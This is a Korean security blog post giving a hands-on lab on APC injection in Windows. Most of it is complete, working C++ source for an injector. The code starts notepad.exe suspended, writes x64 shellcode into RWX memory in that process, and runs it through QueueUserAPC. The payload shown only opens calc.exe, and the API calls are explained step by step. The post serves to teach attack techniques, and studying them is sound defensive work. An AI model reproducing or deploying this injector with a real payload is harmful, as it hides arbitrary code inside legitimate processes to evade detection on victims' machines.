본문 바로가기

System/TTPs

APC Injection 실습 (1)

APC Injection 실습 (1)

실습환경: windows 10 21H2 64bit

실습대상: notepad.exe

실습도구: visual studio 2022 17.1.1, Process Explorer v16.43

참고: (링크)

 

 

[+] APC Injection 간단정리

· QueueUserAPC(): 특정 스레드를 queue에 대기시키기 위해 APC 활용

· 각 스레드에는 독립적인 APC queue가 존재함. 응용 프로그램은 QueueUserAPC() 함수를 호출하여 APC를 스레드에 큐잉

· APC 큐잉 == 스레드가 APC 함수를 호출하기위한 요청

 

 

실습 (APC_injection_1.sln)

① calc.exe를 실행하는 페이로드 생성

 

② 해당 페이로드를 코드에서 사용할 수 있도록 변형 (\xfc → 0xfc)

 

③ 코드 작성 (evil.cpp)

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

// 계산기 프로그램 페이로드
unsigned char my_payload[] = {
  0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
  0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
  0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
  0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
  0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
  0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
  0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
  0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
  0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
  0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
  0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
  0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
  0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
  0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
  0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
  0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
  0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
  0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
  0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
  0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

int main() {

    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    LPVOID my_payload_mem;
    SIZE_T my_payload_len = sizeof(my_payload);
    LPCWSTR cmd;
    HANDLE hProcess, hThread;
    NTSTATUS status;

    ZeroMemory(&si, sizeof(si)); // 메모리 영역을 0X00으로 채우는 매크로
    ZeroMemory(&pi, sizeof(pi));
    si.cb = sizeof(si);

    CreateProcess(
        L"C:\\Windows\\System32\\notepad.exe",
        NULL, NULL, NULL, false,
        CREATE_SUSPENDED, NULL, NULL, &si, &pi
    );
    WaitForSingleObject(pi.hProcess, 5000); ////5000밀리초 대기. 5초?
    hProcess = pi.hProcess;
    hThread = pi.hThread;

    //페이로드 위한 메모리버퍼 할당
    my_payload_mem = VirtualAllocEx(hProcess, NULL, my_payload_len,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // 할당된 버퍼에 페이로드 작성
    WriteProcessMemory(hProcess, my_payload_mem, my_payload, my_payload_len, NULL);

    // suspended 상태의 스레드 인젝션
    PTHREAD_START_ROUTINE apc_r = (PTHREAD_START_ROUTINE)my_payload_mem;
    QueueUserAPC((PAPCFUNC)apc_r, hThread, NULL);

    // 스레드 재시작
    ResumeThread(hThread);

    return 0;
}

 

 

 

코드 설명

① CreateProcess() 통해서 합법적으로 정상 프로세스 생성 (notepad.exe)

이 때, 프로세스 생성 플래그는 CREATE_SUSPENDED로 설정해주어야 함.

BOOL CreateProcess(
  LPCSTR                lpApplicationName,			// 실행파일 이름
  LPSTR                 lpCommandLine,				// 매개변수 정보
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,           // 프로세스 생성 플래그
  LPVOID                lpEnvironment,
  LPCSTR                lpCurrentDirectory,
  LPSTARTUPINFO         lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

 

② 생성된 프로세스의 메모리 공간에 페이로드를 위한 공간 할당

 

③ Shell 코드를 가리키는 APC 루틴 선언 후 할당된 메모리에 페이로드 Write.

 

현재 suspended state 에 있는 메인 스레드에 APC가 큐잉

BOOL WriteProcessMemory(
  HANDLE  hProcess,        //대상 스레드 핸들
  LPVOID  lpBaseAddress,   //데이터가 write될 스레드의 base address를 가리키는 포인터
  LPCVOID lpBuffer,        //write할 데이터가 존재하는 버퍼를 가리키는 포인터
  SIZE_T  nSize,
  SIZE_T  *lpNumberOfBytesWritten    //쓰거나 읽은 메모리의 크기를 반환
);

DWORD QueueUserAPC (
 PAPCFUNC pfnAPC,     //대상 스레드가 호출할 실제 APC 함수를 가리키는 포인터
 HANDLE hThread,      //대상 스레드의 핸들
 DWORD dwDate         //APC 함수가 수행될 때 함수로 전달될 인수
);

 

 

⑤ 스레드를 다시 시작하면 페이로드가 실행됨

 

 

결과

 

APC_injection_1.exe 실행 시 
메인 스레드(notepad.exe)가 실제로 중단되는 것을 확인할 수 있다.
그리고 주입한 페이로드가 실행되어 calc.exe 오픈.

 

 


 

그림으로 보는 코드 실행 과정

 

 

 

'System > TTPs' 카테고리의 다른 글

DLL Hijacking 실습 (2)  (0) 2024.10.26
APC injection 실습 (2)  (0) 2023.03.31
3. APC(Asynchronous Procedure Call) Injection  (0) 2023.03.30
DLL Hijacking 실습 (4) - 리버스 쉘  (0) 2023.03.30
DLL Hijacking 실습 (3)  (0) 2023.03.30